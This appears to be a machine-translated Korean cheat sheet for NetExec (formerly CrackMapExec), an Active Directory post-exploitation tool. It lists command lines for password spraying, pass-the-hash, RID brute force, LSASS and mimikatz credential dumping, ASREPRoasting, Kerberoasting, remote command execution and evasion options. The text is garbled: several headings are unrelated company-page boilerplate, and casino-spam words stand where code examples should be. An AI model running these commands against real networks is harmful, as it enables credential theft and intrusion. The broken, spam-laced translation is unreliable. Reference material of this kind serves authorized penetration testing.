네트워크
NetExec (이전 CrackMapExec)는 네트워크 프로토콜 남용 및 자격 공격을 통해 큰 Active Directory 네트워크의 보안을 평가하는 데 도움이되는 포스트 폭발 도구입니다.
설치 및 설치
| | Command | Description | |
| --- | --- |
| | pip3 install netexec
| Install NetExec via pip | |
| | pipx install netexec
| Install with pipx (recommended) | |
| | git clone https://github.com/Pennyw0rth/NetExec.git
| Clone from GitHub | |
| | cd NetExec && pip3 install .
| Install from source | |
| | netexec --version
| Check installed version | |
| | netexec --help
| Display help information | |
기본 사용
| | Command | Description | |
| --- | --- |
| | netexec smb 192.168.1.0/24
| Scan SMB on subnet | |
| | netexec smb 192.168.1.100 -u username -p password
| Authenticate with credentials | |
| | netexec smb 192.168.1.100 -u username -H ntlmhash
| Authenticate with NTLM hash | |
| | netexec smb 192.168.1.100 -u '' -p ''
| Anonymous authentication | |
| | netexec smb targets.txt -u username -p password
| Use target file | |
Protocol 지원
SMB 프로토콜
| | Command | Description | |
| --- | --- |
| | netexec smb 192.168.1.100
| Basic SMB enumeration | |
| | netexec smb 192.168.1.100 --shares
| Enumerate shares | |
| | netexec smb 192.168.1.100 --users
| Enumerate users | |
| | netexec smb 192.168.1.100 --groups
| Enumerate groups | |
| | netexec smb 192.168.1.100 --local-groups
| Enumerate local groups | |
| | netexec smb 192.168.1.100 --sessions
| Enumerate sessions | |
| | netexec smb 192.168.1.100 --disks
| Enumerate disks | |
WinRM 프로토콜
| | Command | Description | |
| --- | --- |
| | netexec winrm 192.168.1.100 -u username -p password
| WinRM authentication | |
| | netexec winrm 192.168.1.100 -u username -p password -x "whoami"
| Execute command | |
| | netexec winrm 192.168.1.100 -u username -p password -X powershell.ps1
| Execute PowerShell script | |
LDAP 프로토콜
| | Command | Description | |
| --- | --- |
| | netexec ldap 192.168.1.100 -u username -p password
| LDAP authentication | |
| | netexec ldap 192.168.1.100 -u username -p password --users
| Enumerate LDAP users | |
| | netexec ldap 192.168.1.100 -u username -p password --groups
| Enumerate LDAP groups | |
| | netexec ldap 192.168.1.100 -u username -p password --computers
| Enumerate computers | |
MSSQL 프로토콜
| | Command | Description | |
| --- | --- |
| | netexec mssql 192.168.1.100 -u username -p password
| MSSQL authentication | |
| | netexec mssql 192.168.1.100 -u username -p password -q "SELECT @@version"
| Execute SQL query | |
| | netexec mssql 192.168.1.100 -u username -p password --local-auth
| Local authentication | |
SSH 프로토콜
| | Command | Description | |
| --- | --- |
| | netexec ssh 192.168.1.100 -u username -p password
| SSH authentication | |
| | netexec ssh 192.168.1.100 -u username -k id_rsa
| SSH key authentication | |
| | netexec ssh 192.168.1.100 -u username -p password -x "id"
| Execute command | |
인증 방법
비밀번호 인증
| | Command | Description | |
| --- | --- |
| | netexec smb 192.168.1.100 -u username -p password
| Single credential | |
| | netexec smb 192.168.1.100 -u users.txt -p passwords.txt
| Credential lists | |
| | netexec smb 192.168.1.100 -u username -p passwords.txt
| Password spraying | |
| | netexec smb 192.168.1.100 -u users.txt -p password
| User enumeration | |
Hash 인증
| | Command | Description | |
| --- | --- |
| | netexec smb 192.168.1.100 -u username -H ntlmhash
| NTLM hash | |
| | netexec smb 192.168.1.100 -u username -H lmhash:ntlmhash
| LM:NTLM hash | |
| | netexec smb 192.168.1.100 -u users.txt -H hashes.txt
| Hash lists | |
Kerberos 인증
| | Command | Description | |
| --- | --- |
| | netexec smb 192.168.1.100 -u username -p password -k
| Kerberos authentication | |
| | netexec smb 192.168.1.100 -u username --use-kcache
| Use Kerberos cache | |
| | netexec smb 192.168.1.100 -u username -p password --kerberos
| Force Kerberos | |
회사연혁
회사연혁
| | Command | Description | |
| --- | --- |
| | netexec smb 192.168.1.100 --shares
| List shares | |
| | netexec smb 192.168.1.100 --shares -u username -p password
| Authenticated share listing | |
| | netexec smb 192.168.1.100 --spider SHARE
| Spider share contents | |
| | netexec smb 192.168.1.100 --spider SHARE --pattern "*.txt"
| Search for files | |
회사 소개
| | Command | Description | |
| --- | --- |
| | netexec smb 192.168.1.100 --users
| Enumerate users | |
| | netexec smb 192.168.1.100 --rid-brute
| RID bruteforce | |
| | netexec smb 192.168.1.100 --users --rid-brute 1000-2000
| RID range | |
그룹소개
| | Command | Description | |
| --- | --- |
| | netexec smb 192.168.1.100 --groups
| Enumerate groups | |
| | netexec smb 192.168.1.100 --local-groups
| Local groups | |
| | netexec smb 192.168.1.100 --groups "Domain Admins"
| Specific group | |
컴퓨터 Enumeration
| | Command | Description | |
| --- | --- |
| | netexec ldap 192.168.1.100 --computers
| Enumerate computers | |
| | netexec smb 192.168.1.100 --computers
| SMB computer enumeration | |
명령 실행
SMB 명령 실행
| | Command | Description | |
| --- | --- |
| | netexec smb 192.168.1.100 -u username -p password -x "whoami"
| Execute command | |
| | netexec smb 192.168.1.100 -u username -p password -X script.ps1
| Execute PowerShell script | |
| | netexec smb 192.168.1.100 -u username -p password --exec-method wmiexec
| Use WMI execution | |
| | netexec smb 192.168.1.100 -u username -p password --exec-method smbexec
| Use SMB execution | |
WinRM 명령 실행
| | Command | Description | |
| --- | --- |
| | netexec winrm 192.168.1.100 -u username -p password -x "Get-Process"
| PowerShell command | |
| | netexec winrm 192.168.1.100 -u username -p password -X script.ps1
| Execute script | |
모듈
내장 모듈
| | Command | Description | |
| --- | --- |
| | netexec smb 192.168.1.100 -M spider_plus
| Enhanced spidering | |
| | netexec smb 192.168.1.100 -M enum_avproducts
| Enumerate AV products | |
| | netexec smb 192.168.1.100 -M gpp_password
| Group Policy Preferences | |
| | netexec smb 192.168.1.100 -M lsassy
| LSASS dumping | |
| | netexec smb 192.168.1.100 -M mimikatz
| Mimikatz execution | |
모듈 옵션
| | Command | Description | |
| --- | --- |
| | netexec smb 192.168.1.100 -M spider_plus -o READ_ONLY=false
| Module options | |
| | netexec smb 192.168.1.100 -M lsassy -o BLOODHOUND=true
| Bloodhound output | |
Database 운영
| | Command | Description | |
| --- | --- |
| | netexec smb 192.168.1.100 --users --export users.csv
| Export to CSV | |
| | netexec db
| Database management | |
| | netexec db --workspace default
| Set workspace | |
| | netexec db --clear-database
| Clear database | |
고급 기능
Credential 청소
| | Command | Description | |
| --- | --- |
| | netexec smb targets.txt -u users.txt -p passwords.txt --continue-on-success
| Continue on success | |
| | netexec smb targets.txt -u users.txt -p passwords.txt --fail-limit 3
| Fail limit | |
비밀번호
| | Command | Description | |
| --- | --- |
| | netexec smb 192.168.1.100 --pass-pol
| Get password policy | |
| | netexec ldap 192.168.1.100 --pass-pol
| LDAP password policy | |
Bloodhound 통합
| | Command | Description | |
| --- | --- |
| | netexec ldap 192.168.1.100 -u username -p password --bloodhound
| Collect Bloodhound data | |
| | netexec ldap 192.168.1.100 -u username -p password --bloodhound -c All
| All collections | |
ASREP로스트
| | Command | Description | |
| --- | --- |
| | netexec ldap 192.168.1.100 -u users.txt --asreproast asrep.txt
| ASREPRoast attack | |
| | netexec ldap 192.168.1.100 -u username -p password --asreproast asrep.txt
| Authenticated ASREPRoast | |
채용정보
| | Command | Description | |
| --- | --- |
| | netexec ldap 192.168.1.100 -u username -p password --kerberoasting kerb.txt
| Kerberoasting attack | |
산출과 로깅
| | Command | Description | |
| --- | --- |
| | netexec smb 192.168.1.100 --verbose
| Verbose output | |
| | netexec smb 192.168.1.100 --debug
| Debug output | |
| | netexec smb 192.168.1.100 -o output.txt
| Save output to file | |
| | netexec smb 192.168.1.100 --log logs/
| Log directory | |
제품 설명
Config 파일 (~/.nxc/nxc.conf)
카지노사이트
프로토콜 별 옵션
| | Command | Description | |
| --- | --- |
| | netexec smb 192.168.1.100 --port 445
| Custom port | |
| | netexec smb 192.168.1.100 --timeout 5
| Connection timeout | |
| | netexec smb 192.168.1.100 --threads 100
| Thread count | |
Evasion 기술
| | Command | Description | |
| --- | --- |
| | netexec smb 192.168.1.100 --jitter 1-5
| Random delay | |
| | netexec smb 192.168.1.100 --delay 2
| Fixed delay | |
| | netexec smb 192.168.1.100 --obfs
| Obfuscation | |
일반 공격 Scenarios
도메인 Enumeration
카지노사이트
Credential 공격
카지노사이트
포스트 폭발
카지노사이트
다른 도구와 통합
Impacket 통합
| | Command | Description | |
| --- | --- |
| | netexec smb 192.168.1.100 -u username -p password --exec-method wmiexec
| Use Impacket WMI | |
| | netexec smb 192.168.1.100 -u username -p password --exec-method smbexec
| Use Impacket SMB | |
Crackmapexec 마이그레이션
| | Command | Description | |
| --- | --- |
| | netexec --convert-cme-db
| Convert CME database | |
| | alias cme='netexec'
| Create alias for compatibility | |
문제 해결
| | Command | Description | |
| --- | --- |
| | netexec --help
| General help | |
| | netexec smb --help
| Protocol-specific help | |
| | netexec -v
| Version information | |
| | netexec --debug smb 192.168.1.100
| Debug mode | |
최고의 연습
- 사용 가능한 경우 enumeration 전에 인증
- 검출을 방지하기 위해 적절한 지연을 구현
- 다른 참여를 구성하기 위해 workspaces를 사용합니다.
- 더 분석을위한 수출 결과
- 종합 평가를 위한 다른 도구와 결합
- 방어적인 응답을 위한 감시자
- 압도적인 표적을 피하기 위하여 적합한 실 조사를 사용하십시오
- 자주 묻는 질문
- 대규모 공격 전에 자격 증명
- 필요한 경우 obfuscation 기법 사용
보안 고려 사항
- 공인된 네트워크에서만 사용
- 적절한 액세스 제어 구현
- 보안 도구에 의한 탐지 모니터링
- 최소한의 권한 원칙
- 규정 준수에 대한 모든 활동
- 적용 가능한 경우 파란색 팀과의 협조
- 적절한 정리 절차 구현
- 보관 자격 증명
- 가능한 경우 암호화 통신
- 자주 묻는 질문